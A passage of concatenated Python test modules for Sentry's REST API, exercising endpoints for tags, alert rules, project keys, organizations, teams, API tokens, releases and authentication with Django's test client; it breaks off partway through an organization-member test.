from django.core.urlresolvers import reverse

from sentry.models import TagKey, TagKeyStatus
from sentry.testutils import APITestCase


class ProjectTagKeyDetailsTest(APITestCase):
    def test_simple(self):
        project = self.create_project()
        tagkey = TagKey.objects.create(
            project=project,
            key='foo',
            values_seen=16,
        )

        self.login_as(user=self.user)

        url = reverse('sentry-api-0-project-tagkey-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'key': tagkey.key,
        })

        response = self.client.get(url)

        assert response.status_code == 200
        assert response.data['id'] == six.text_type(tagkey.id)
        assert response.data['uniqueValues'] == tagkey.values_seen


class ProjectTagKeyDeleteTest(APITestCase):
    @mock.patch('sentry.api.endpoints.project_tagkey_details.delete_tag_key')
    def test_simple(self, mock_delete_tag_key):
        project = self.create_project()
        tagkey = TagKey.objects.create(project=project, key='foo')

        self.login_as(user=self.user)

        url = reverse('sentry-api-0-project-tagkey-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'key': tagkey.key,
        })

        response = self.client.delete(url)

        assert response.status_code == 204

        mock_delete_tag_key.delay.assert_called_once_with(
            object_id=tagkey.id
        )

        assert TagKey.objects.get(id=tagkey.id).status == TagKeyStatus.PENDING_DELETION






from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse

from sentry.models import Rule, RuleStatus
from sentry.testutils import APITestCase


class ProjectRuleDetailsTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        team = self.create_team()
        project1 = self.create_project(team=team, name='foo')
        self.create_project(team=team, name='bar')

        rule = project1.rule_set.all()[0]

        url = reverse('sentry-api-0-project-rule-details', kwargs={
            'organization_slug': project1.organization.slug,
            'project_slug': project1.slug,
            'rule_id': rule.id,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(rule.id)


class UpdateProjectRuleTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        project = self.create_project()

        rule = Rule.objects.create(project=project, label='foo')

        conditions = [{
            'id': 'sentry.rules.conditions.first_seen_event.FirstSeenEventCondition',
            'key': 'foo',
            'match': 'eq',
            'value': 'bar',
        }]

        url = reverse('sentry-api-0-project-rule-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'rule_id': rule.id,
        })
        response = self.client.put(url, data={
            'name': 'hello world',
            'actionMatch': 'any',
            'actions': [{'id': 'sentry.rules.actions.notify_event.NotifyEventAction'}],
            'conditions': conditions,
        }, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(rule.id)

        rule = Rule.objects.get(id=rule.id)
        assert rule.label == 'hello world'
        assert rule.data['action_match'] == 'any'
        assert rule.data['actions'] == [{'id': 'sentry.rules.actions.notify_event.NotifyEventAction'}]
        assert rule.data['conditions'] == conditions

    def test_invalid_rule_node_type(self):
        self.login_as(user=self.user)

        project = self.create_project()

        rule = Rule.objects.create(project=project, label='foo')

        url = reverse('sentry-api-0-project-rule-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'rule_id': rule.id,
        })
        response = self.client.put(url, data={
            'name': 'hello world',
            'actionMatch': 'any',
            'conditions': [{'id': 'sentry.rules.actions.notify_event.NotifyEventAction'}],
        }, format='json')

        assert response.status_code == 400, response.content

    def test_invalid_rule_node(self):
        self.login_as(user=self.user)

        project = self.create_project()

        rule = Rule.objects.create(project=project, label='foo')

        url = reverse('sentry-api-0-project-rule-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'rule_id': rule.id,
        })
        response = self.client.put(url, data={
            'name': 'hello world',
            'actionMatch': 'any',
            'actions': [{'id': 'foo'}],
        }, format='json')

        assert response.status_code == 400, response.content

    def test_rule_form_not_valid(self):
        self.login_as(user=self.user)

        project = self.create_project()

        rule = Rule.objects.create(project=project, label='foo')

        url = reverse('sentry-api-0-project-rule-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'rule_id': rule.id,
        })
        response = self.client.put(url, data={
            'name': 'hello world',
            'actionMatch': 'any',
            'conditions': [{'id': 'sentry.rules.conditions.tagged_event.TaggedEventCondition'}],
        }, format='json')

        assert response.status_code == 400, response.content


class DeleteProjectRuleTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        project = self.create_project()

        rule = Rule.objects.create(project=project, label='foo')

        url = reverse('sentry-api-0-project-rule-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'rule_id': rule.id,
        })
        response = self.client.delete(url)

        assert response.status_code == 202, response.content

        rule = Rule.objects.get(id=rule.id)
        assert rule.status == RuleStatus.PENDING_DELETION






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import ProjectKey
from sentry.testutils import APITestCase


class ListProjectKeysTest(APITestCase):
    def test_simple(self):
        project = self.create_project()
        key = ProjectKey.objects.get_or_create(project=project)[0]
        self.login_as(user=self.user)
        url = reverse('sentry-api-0-project-keys', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        response = self.client.get(url)
        assert response.status_code == 200
        assert len(response.data) == 1
        assert response.data[0]['public'] == key.public_key


class CreateProjectKeyTest(APITestCase):
    def test_simple(self):
        project = self.create_project()
        self.login_as(user=self.user)
        url = reverse('sentry-api-0-project-keys', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        resp = self.client.post(url, data={
            'name': 'hello world',
        })
        assert resp.status_code == 201, resp.content
        key = ProjectKey.objects.get(public_key=resp.data['public'])
        assert key.label == 'hello world'

    def test_minimal_args(self):
        project = self.create_project()
        self.login_as(user=self.user)
        url = reverse('sentry-api-0-project-keys', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        resp = self.client.post(url)
        assert resp.status_code == 201, resp.content
        key = ProjectKey.objects.get(public_key=resp.data['public'])
        assert key.label

    def test_keys(self):
        project = self.create_project()
        self.login_as(user=self.user)
        url = reverse('sentry-api-0-project-keys', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        resp = self.client.post(url, data={
            'public': 'a' * 32,
            'secret': 'b' * 32,
        })
        assert resp.status_code == 201, resp.content
        key = ProjectKey.objects.get(public_key=resp.data['public'])
        assert key.public_key == resp.data['public'] == 'a' * 32
        assert key.secret_key == resp.data['secret'] == 'b' * 32






from __future__ import absolute_import

import six

from sentry.testutils import APITestCase


class TeamGroupsTrendingTest(APITestCase):
    def test_simple(self):
        project1 = self.create_project(team=self.team, slug='foo')
        project2 = self.create_project(team=self.team, slug='bar')
        group1 = self.create_group(checksum='a' * 32, project=project1, score=10)
        group2 = self.create_group(checksum='b' * 32, project=project2, score=5)

        self.login_as(user=self.user)

        url = '/api/0/teams/{}/{}/issues/trending/'.format(
            self.team.organization.slug,
            self.team.slug,
        )
        response = self.client.get(url, format='json')
        assert response.status_code == 200
        assert len(response.data) == 2
        assert response.data[0]['id'] == six.text_type(group1.id)
        assert response.data[1]['id'] == six.text_type(group2.id)






from __future__ import absolute_import

from exam import fixture

from sentry.models import Activity, Group
from sentry.testutils import APITestCase


class GroupNotesDetailsTest(APITestCase):
    @fixture
    def url(self):
        return '/api/0/issues/{}/comments/{}/'.format(
            self.group.id,
            self.activity.id,
        )

    def test_delete(self):
        self.login_as(user=self.user)

        url = self.url

        assert Group.objects.get(id=self.group.id).num_comments == 1

        response = self.client.delete(url, format='json')
        assert response.status_code == 204, response.status_code
        assert not Activity.objects.filter(id=self.activity.id).exists()

        assert Group.objects.get(id=self.group.id).num_comments == 0

    def test_put(self):
        self.login_as(user=self.user)

        url = self.url

        response = self.client.put(url, format='json')
        assert response.status_code == 400, response.content

        response = self.client.put(url, format='json', data={
            'text': 'hi haters',
        })
        assert response.status_code == 200, response.content

        activity = Activity.objects.get(id=response.data['id'])
        assert activity.user == self.user
        assert activity.group == self.group
        assert activity.data == {'text': 'hi haters'}






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import Rule
from sentry.testutils import APITestCase


class ProjectRuleListTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        team = self.create_team()
        project1 = self.create_project(team=team, name='foo')
        self.create_project(team=team, name='bar')

        url = reverse('sentry-api-0-project-rules', kwargs={
            'organization_slug': project1.organization.slug,
            'project_slug': project1.slug,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content

        rule_count = Rule.objects.filter(project=project1).count()
        assert len(response.data) == rule_count


class CreateProjectRuleTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        project = self.create_project()

        conditions = [{
            'id': 'sentry.rules.conditions.first_seen_event.FirstSeenEventCondition',
            'key': 'foo',
            'match': 'eq',
            'value': 'bar',
        }]

        actions = [{'id': 'sentry.rules.actions.notify_event.NotifyEventAction'}]

        url = reverse('sentry-api-0-project-rules', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        response = self.client.post(url, data={
            'name': 'hello world',
            'actionMatch': 'any',
            'actions': actions,
            'conditions': conditions,
        }, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id']

        rule = Rule.objects.get(id=response.data['id'])
        assert rule.label == 'hello world'
        assert rule.data['action_match'] == 'any'
        assert rule.data['actions'] == actions
        assert rule.data['conditions'] == conditions

    def test_missing_name(self):
        self.login_as(user=self.user)

        project = self.create_project()

        conditions = [{
            'id': 'sentry.rules.conditions.first_seen_event.FirstSeenEventCondition',
            'key': 'foo',
            'match': 'eq',
            'value': 'bar',
        }]

        actions = [{'id': 'sentry.rules.actions.notify_event.NotifyEventAction'}]

        url = reverse('sentry-api-0-project-rules', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        response = self.client.post(url, data={
            'actionMatch': 'any',
            'actions': actions,
            'conditions': conditions,
        }, format='json')

        assert response.status_code == 400, response.content






from __future__ import absolute_import

import six

from datetime import timedelta
from django.core.urlresolvers import reverse
from django.utils import timezone

from sentry.models import AuditLogEntry, AuditLogEntryEvent
from sentry.testutils import APITestCase


class OrganizationAuditLogsTest(APITestCase):
    def test_simple(self):
        now = timezone.now()

        self.login_as(user=self.user)

        org = self.create_organization(owner=self.user, name='baz')
        org2 = self.create_organization(owner=self.user, name='baz')

        entry1 = AuditLogEntry.objects.create(
            organization=org,
            event=AuditLogEntryEvent.ORG_EDIT,
            actor=self.user,
            datetime=now,
        )
        entry2 = AuditLogEntry.objects.create(
            organization=org,
            event=AuditLogEntryEvent.ORG_EDIT,
            actor=self.user,
            datetime=now + timedelta(seconds=1),
        )
        AuditLogEntry.objects.create(
            organization=org2,
            event=AuditLogEntryEvent.ORG_EDIT,
            actor=self.user,
            datetime=now,
        )

        url = reverse('sentry-api-0-organization-audit-logs', args=[org.slug])
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 2
        assert response.data[0]['id'] == six.text_type(entry2.id)
        assert response.data[1]['id'] == six.text_type(entry1.id)






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import (
    OrganizationOnboardingTask, OnboardingTask, OnboardingTaskStatus
)
from sentry.testutils import APITestCase


class SkipOnboardingTaskTest(APITestCase):
    def test_skip_onboarding_task(self):
        self.login_as(user=self.user)

        organization = self.create_organization(name='foo', owner=self.user)
        url = reverse('sentry-api-0-organization-onboardingtasks', kwargs={'organization_slug': organization.slug})

        resp = self.client.post(url, data={'task': '9', 'status': 'skipped'}, format='json')
        assert resp.status_code == 204

        oot = OrganizationOnboardingTask.objects.get(
            organization=organization,
            task=OnboardingTask.ISSUE_TRACKER,
            status=OnboardingTaskStatus.SKIPPED
        )

        assert oot






from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.models import Organization
from sentry.testutils import APITestCase


class OrganizationsListTest(APITestCase):
    @fixture
    def path(self):
        return reverse('sentry-api-0-organizations')

    def test_membership(self):
        org = self.create_organization(owner=self.user)
        self.login_as(user=self.user)
        response = self.client.get('{}?member=1'.format(self.path))
        assert response.status_code == 200
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(org.id)


class OrganizationsCreateTest(APITestCase):
    @fixture
    def path(self):
        return reverse('sentry-api-0-organizations')

    def test_missing_params(self):
        self.login_as(user=self.user)
        resp = self.client.post(self.path)
        assert resp.status_code == 400

    def test_valid_params(self):
        self.login_as(user=self.user)

        resp = self.client.post(self.path, data={
            'name': 'hello world',
            'slug': 'foobar',
        })
        assert resp.status_code == 201, resp.content
        org = Organization.objects.get(id=resp.data['id'])
        assert org.name == 'hello world'
        assert org.slug == 'foobar'

        resp = self.client.post(self.path, data={
            'name': 'hello world',
            'slug': 'foobar',
        })
        assert resp.status_code == 409, resp.content

    def test_without_slug(self):
        self.login_as(user=self.user)

        resp = self.client.post(self.path, data={
            'name': 'hello world',
        })
        assert resp.status_code == 201, resp.content
        org = Organization.objects.get(id=resp.data['id'])
        assert org.slug == 'hello-world'






from __future__ import absolute_import

from sentry.models import GroupHash
from sentry.testutils import APITestCase


class GroupHashesTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        group = self.create_group()
        GroupHash.objects.create(group=group, hash='a' * 32)
        GroupHash.objects.create(group=group, hash='b' * 32)

        url = '/api/0/issues/{}/hashes/'.format(group.id)
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 2
        assert sorted(map(lambda x: x['id'], response.data)) == sorted([
            'a' * 32,
            'b' * 32,
        ])






from __future__ import absolute_import

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.testutils import APITestCase


class UserListTest(APITestCase):
    @fixture
    def path(self):
        return reverse('sentry-api-0-user-index')

    def test_superuser_only(self):
        user = self.create_user('foo@example.com')
        self.login_as(user)
        response = self.client.get(self.path)
        assert response.status_code == 403

    def test_simple(self):
        self.login_as(user=self.user)
        response = self.client.get(self.path)
        assert response.status_code == 200
        assert len(response.data) >= 1






from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.models import OrganizationMember, OrganizationMemberTeam, Team
from sentry.testutils import APITestCase


class OrganizationTeamsListTest(APITestCase):
    def test_simple(self):
        user = self.create_user()
        org = self.create_organization(owner=self.user)
        team1 = self.create_team(organization=org, name='foo')
        team2 = self.create_team(organization=org, name='bar')

        self.create_member(
            organization=org,
            user=user,
            has_global_access=False,
            teams=[team1],
        )

        path = reverse('sentry-api-0-organization-teams', args=[org.slug])

        self.login_as(user=user)

        response = self.client.get(path)

        assert response.status_code == 200, response.content
        assert len(response.data) == 2
        assert response.data[0]['id'] == six.text_type(team2.id)
        assert not response.data[0]['isMember']
        assert response.data[1]['id'] == six.text_type(team1.id)
        assert response.data[1]['isMember']


class OrganizationTeamsCreateTest(APITestCase):
    @fixture
    def path(self):
        return reverse('sentry-api-0-organization-teams', args=[self.organization.slug])

    def test_missing_permission(self):
        user = self.create_user()
        self.login_as(user=user)
        resp = self.client.post(self.path)
        assert resp.status_code == 403

    def test_missing_params(self):
        self.login_as(user=self.user)
        resp = self.client.post(self.path)
        assert resp.status_code == 400

    def test_valid_params(self):
        self.login_as(user=self.user)

        resp = self.client.post(self.path, data={
            'name': 'hello world',
            'slug': 'foobar',
        })
        assert resp.status_code == 201, resp.content
        team = Team.objects.get(id=resp.data['id'])
        assert team.name == 'hello world'
        assert team.slug == 'foobar'
        assert team.organization == self.organization

        member = OrganizationMember.objects.get(
            user=self.user,
            organization=self.organization,
        )

        assert OrganizationMemberTeam.objects.filter(
            organizationmember=member,
            team=team,
            is_active=True,
        ).exists()

    def test_without_slug(self):
        self.login_as(user=self.user)

        resp = self.client.post(self.path, data={
            'name': 'hello world',
        })
        assert resp.status_code == 201, resp.content
        team = Team.objects.get(id=resp.data['id'])
        assert team.slug == 'hello-world'

    def test_duplicate(self):
        self.login_as(user=self.user)

        resp = self.client.post(self.path, data={
            'name': 'hello world',
            'slug': 'foobar',
        })

        assert resp.status_code == 201, resp.content

        resp = self.client.post(self.path, data={
            'name': 'hello world',
            'slug': 'foobar',
        })

        assert resp.status_code == 409, resp.content






from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse

from sentry.models import ApiToken
from sentry.testutils import APITestCase


class ApiTokensListTest(APITestCase):
    def test_simple(self):
        ApiToken.objects.create(user=self.user, scopes=getattr(ApiToken.scopes, 'event:read'))
        ApiToken.objects.create(user=self.user, scopes=getattr(ApiToken.scopes, 'event:read'))

        self.login_as(self.user)
        url = reverse('sentry-api-0-api-tokens')
        response = self.client.get(url)
        assert response.status_code == 200, response.content
        assert len(response.data) == 2


class ApiTokensCreateTest(APITestCase):
    def test_no_scopes(self):
        self.login_as(self.user)
        url = reverse('sentry-api-0-api-tokens')
        response = self.client.post(url)
        assert response.status_code == 400

    def test_simple(self):
        self.login_as(self.user)
        url = reverse('sentry-api-0-api-tokens')
        response = self.client.post(url, data={'scopes': ['event:read']})
        assert response.status_code == 201
        token = ApiToken.objects.get(
            user=self.user,
        )
        scopes = [k for k, v in six.iteritems(token.scopes) if v]
        assert scopes == ['event:read']


class ApiTokensDeleteTest(APITestCase):
    def test_simple(self):
        token = ApiToken.objects.create(user=self.user)
        self.login_as(self.user)
        url = reverse('sentry-api-0-api-tokens')
        response = self.client.delete(url, data={'token': token.token})
        assert response.status_code == 204
        assert not ApiToken.objects.filter(id=token.id).exists()






from __future__ import absolute_import

import six

from sentry.testutils import APITestCase


class TeamGroupsNewTest(APITestCase):
    def test_simple(self):
        project1 = self.create_project(team=self.team, slug='foo')
        project2 = self.create_project(team=self.team, slug='bar')
        group1 = self.create_group(checksum='a' * 32, project=project1, score=10)
        group2 = self.create_group(checksum='b' * 32, project=project2, score=5)

        self.login_as(user=self.user)
        url = '/api/0/teams/{}/{}/issues/new/'.format(
            self.team.organization.slug,
            self.team.slug,
        )
        response = self.client.get(url, format='json')
        assert response.status_code == 200
        assert len(response.data) == 2
        assert response.data[0]['id'] == six.text_type(group1.id)
        assert response.data[1]['id'] == six.text_type(group2.id)






from __future__ import absolute_import






from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse

from sentry.testutils import APITestCase


class OrganizationProjectsTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        org = self.create_organization(owner=self.user, name='baz')
        team = self.create_team(organization=org)
        project = self.create_project(team=team)

        url = reverse('sentry-api-0-organization-projects', args=[org.slug])
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(project.id)






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import TagKey
from sentry.testutils import APITestCase


class ProjectTagsTest(APITestCase):
    def test_simple(self):
        project = self.create_project()

        for key in ('foo', 'bar'):
            TagKey.objects.create(
                project=project,
                key=key,
            )

        self.login_as(user=self.user)

        url = reverse('sentry-api-0-project-tags', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        response = self.client.get(url, format='json')
        assert response.status_code == 200, response.content
        assert len(response.data) == 2






from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse
from mock import patch

from sentry.models import Organization, OrganizationOption, OrganizationStatus
from sentry.signals import project_created
from sentry.testutils import APITestCase


class OrganizationDetailsTest(APITestCase):
    def test_simple(self):
        org = self.create_organization(owner=self.user)
        self.login_as(user=self.user)
        url = reverse('sentry-api-0-organization-details', kwargs={
            'organization_slug': org.slug,
        })
        response = self.client.get(url, format='json')
        assert response.data['onboardingTasks'] == []
        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(org.id)

        project = self.create_project(organization=org)
        project_created.send(project=project, user=self.user, sender=type(project))

        url = reverse('sentry-api-0-organization-details', kwargs={
            'organization_slug': org.slug,
        })
        response = self.client.get(url, format='json')
        assert len(response.data['onboardingTasks']) == 1
        assert response.data['onboardingTasks'][0]['task'] == 1


class OrganizationUpdateTest(APITestCase):
    def test_simple(self):
        org = self.create_organization(owner=self.user)
        self.login_as(user=self.user)
        url = reverse('sentry-api-0-organization-details', kwargs={
            'organization_slug': org.slug,
        })
        response = self.client.put(url, data={
            'name': 'hello world',
            'slug': 'foobar',
        })
        assert response.status_code == 200, response.content
        org = Organization.objects.get(id=org.id)
        assert org.name == 'hello world'
        assert org.slug == 'foobar'

    def test_setting_rate_limit(self):
        org = self.create_organization(owner=self.user)
        self.login_as(user=self.user)
        url = reverse('sentry-api-0-organization-details', kwargs={
            'organization_slug': org.slug,
        })
        response = self.client.put(url, data={
            'projectRateLimit': '80',
        })
        assert response.status_code == 200, response.content
        result = OrganizationOption.objects.get_value(
            org, 'sentry:project-rate-limit')
        assert result == 80


class OrganizationDeleteTest(APITestCase):
    @patch('sentry.api.endpoints.organization_details.delete_organization')
    def test_can_remove_as_owner(self, mock_delete_organization):
        org = self.create_organization()

        user = self.create_user(email='foo@example.com', is_superuser=False)

        self.create_member(
            organization=org,
            user=user,
            role='owner',
        )

        self.login_as(user)

        url = reverse('sentry-api-0-organization-details', kwargs={
            'organization_slug': org.slug,
        })

        response = self.client.delete(url)

        org = Organization.objects.get(id=org.id)

        assert response.status_code == 204, response.data

        assert org.status == OrganizationStatus.PENDING_DELETION

        mock_delete_organization.delay.assert_called_once_with(
            object_id=org.id,
            countdown=86400,
        )

    def test_cannot_remove_as_admin(self):
        org = self.create_organization(owner=self.user)

        user = self.create_user(email='foo@example.com', is_superuser=False)

        self.create_member(
            organization=org,
            user=user,
            role='admin',
        )

        self.login_as(user=user)

        url = reverse('sentry-api-0-organization-details', kwargs={
            'organization_slug': org.slug,
        })
        response = self.client.delete(url)

        assert response.status_code == 403

    def test_cannot_remove_default(self):
        Organization.objects.all().delete()

        org = self.create_organization(owner=self.user)

        self.login_as(self.user)

        url = reverse('sentry-api-0-organization-details', kwargs={
            'organization_slug': org.slug,
        })

        with self.settings(SENTRY_SINGLE_ORGANIZATION=True):
            response = self.client.delete(url)

        assert response.status_code == 400, response.data






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.testutils import APITestCase


class SystemHealthTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)
        url = reverse('sentry-api-0-system-health')
        response = self.client.get(url)
        assert response.status_code == 200
        assert 'problems' in response.data
        assert 'healthy' in response.data






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import TagKey, TagValue
from sentry.testutils import APITestCase


class ProjectTagKeyValuesTest(APITestCase):
    def test_simple(self):
        project = self.create_project()
        tagkey = TagKey.objects.create(project=project, key='foo')
        TagValue.objects.create(project=project, key='foo', value='bar')

        self.login_as(user=self.user)

        url = reverse('sentry-api-0-project-tagkey-values', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'key': tagkey.key,
        })

        response = self.client.get(url)

        assert response.status_code == 200
        assert len(response.data) == 1

        assert response.data[0]['value'] == 'bar'

    def test_query(self):
        project = self.create_project()
        tagkey = TagKey.objects.create(project=project, key='foo')
        TagValue.objects.create(project=project, key='foo', value='bar')

        self.login_as(user=self.user)

        url = reverse('sentry-api-0-project-tagkey-values', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'key': tagkey.key,
        })
        response = self.client.get(url + '?query=bar')

        assert response.status_code == 200
        assert len(response.data) == 1

        assert response.data[0]['value'] == 'bar'

        response = self.client.get(url + '?query=foo')

        assert response.status_code == 200
        assert len(response.data) == 0






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import File, Release, ReleaseFile
from sentry.testutils import APITestCase


class ReleaseDetailsTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        project = self.create_project(name='foo')
        release = Release.objects.create(
            project=project,
            version='1',
        )

        url = reverse('sentry-api-0-release-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'version': release.version,
        })
        response = self.client.get(url)

        assert response.status_code == 200, response.content
        assert response.data['version'] == release.version


class UpdateReleaseDetailsTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        project = self.create_project(name='foo')
        release = Release.objects.create(
            project=project,
            version='1',
        )

        url = reverse('sentry-api-0-release-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'version': release.version,
        })
        response = self.client.put(url, {'ref': 'master'})

        assert response.status_code == 200, response.content
        assert response.data['version'] == release.version

        release = Release.objects.get(id=release.id)
        assert release.ref == 'master'


class ReleaseDeleteTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        project = self.create_project(name='foo')
        release = Release.objects.create(
            project=project,
            version='1',
        )
        ReleaseFile.objects.create(
            project=project,
            release=release,
            file=File.objects.create(
                name='application.js',
                type='release.file',
            ),
            name='http://example.com/application.js'
        )

        url = reverse('sentry-api-0-release-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'version': release.version,
        })
        response = self.client.delete(url)

        assert response.status_code == 204, response.content

        assert not Release.objects.filter(id=release.id).exists()

    def test_existing_group(self):
        self.login_as(user=self.user)

        project = self.create_project(name='foo')
        release = Release.objects.create(
            project=project,
            version='1',
        )
        self.create_group(first_release=release)

        url = reverse('sentry-api-0-release-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'version': release.version,
        })
        response = self.client.delete(url)

        assert response.status_code == 400, response.content

        assert Release.objects.filter(id=release.id).exists()






from __future__ import absolute_import

import base64

from django.core.urlresolvers import reverse

from sentry.testutils import APITestCase


class LoginTest(APITestCase):
    def test_simple(self):
        user = self.create_user(email='a@example.com')
        user.set_password('test')
        user.save()

        auth_header = 'Basic ' + base64.b64encode('a@example.com:test')

        url = reverse('sentry-api-0-auth')
        response = self.client.post(url, format='json', HTTP_AUTHORIZATION=auth_header)

        assert response.status_code == 200, response.content


class LogoutTest(APITestCase):
    def test_simple(self):
        user = self.create_user(email='a@example.com')

        self.login_as(user)

        url = reverse('sentry-api-0-auth')
        response = self.client.delete(url, format='json')

        assert response.status_code == 204, response.content






from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse

from sentry.models import EventUser
from sentry.testutils import APITestCase


class ProjectUsersTest(APITestCase):
    def setUp(self):
        super(ProjectUsersTest, self).setUp()

        self.project = self.create_project()
        self.euser1 = EventUser.objects.create(
            project=self.project,
            ident='1',
            email='foo@example.com',
            username='foobar',
            ip_address='127.0.0.1',
        )

        self.euser2 = EventUser.objects.create(
            project=self.project,
            ident='2',
            email='bar@example.com',
            username='baz',
            ip_address='192.168.0.1',
        )

        self.path = reverse('sentry-api-0-project-users', kwargs={
            'organization_slug': self.project.organization.slug,
            'project_slug': self.project.slug,
        })

    def test_simple(self):
        self.login_as(user=self.user)

        response = self.client.get(self.path, format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 2
        assert sorted(map(lambda x: x['id'], response.data)) == sorted([
            six.text_type(self.euser1.id),
            six.text_type(self.euser2.id),
        ])

    def test_empty_search_query(self):
        self.login_as(user=self.user)

        response = self.client.get('{}?query=foo'.format(self.path), format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 0

    def test_username_search(self):
        self.login_as(user=self.user)

        response = self.client.get('{}?query=username:baz'.format(self.path), format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(self.euser2.id)

        response = self.client.get('{}?query=username:ba'.format(self.path), format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 2

    def test_email_search(self):
        self.login_as(user=self.user)

        response = self.client.get('{}?query=email:foo@example.com'.format(self.path), format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(self.euser1.id)

        response = self.client.get('{}?query=email:@example.com'.format(self.path), format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 2

    def test_id_search(self):
        self.login_as(user=self.user)

        response = self.client.get('{}?query=id:1'.format(self.path), format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(self.euser1.id)

        response = self.client.get('{}?query=id:3'.format(self.path), format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 0

    def test_ip_search(self):
        self.login_as(user=self.user)

        response = self.client.get('{}?query=ip:192.168.0.1'.format(self.path), format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(self.euser2.id)

        response = self.client.get('{}?query=ip:0'.format(self.path), format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 2






from __future__ import absolute_import

import six

from sentry.models import GroupTagKey, GroupTagValue, TagKey, TagValue
from sentry.testutils import APITestCase


class GroupTagDetailsTest(APITestCase):
    def test_simple(self):
        group = self.create_group()
        group.data['tags'] = (['foo', 'bar'],)
        group.save()

        key, value = group.data['tags'][0]

        tagkey = TagKey.objects.create(
            project=group.project,
            key=key,
            values_seen=2,
        )
        TagValue.objects.create(
            project=group.project,
            key=key,
            value=value,
            times_seen=4,
        )
        GroupTagKey.objects.create(
            project=group.project,
            group=group,
            key=key,
            values_seen=1,
        )
        GroupTagValue.objects.create(
            project=group.project,
            group=group,
            key=key,
            value=value,
            times_seen=3,
        )

        self.login_as(user=self.user)

        url = '/api/0/issues/{}/tags/{}/'.format(group.id, tagkey.key)
        response = self.client.get(url, format='json')
        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(tagkey.id)
        assert response.data['key'] == six.text_type(tagkey.key)
        assert response.data['uniqueValues'] == 1
        assert response.data['totalValues'] == 3






from __future__ import absolute_import

from django.core.urlresolvers import reverse
from mock import patch

from sentry.models import (
    AuthProvider, OrganizationMember
)
from sentry.testutils import APITestCase


class UpdateOrganizationMemberTest(APITestCase):
    @patch('sentry.models.OrganizationMember.send_invite_email')
    def test_reinvite_pending_member(self, mock_send_invite_email):
        self.login_as(user=self.user)

        organization = self.create_organization(name='foo', owner=self.user)
        member_om = self.create_member(
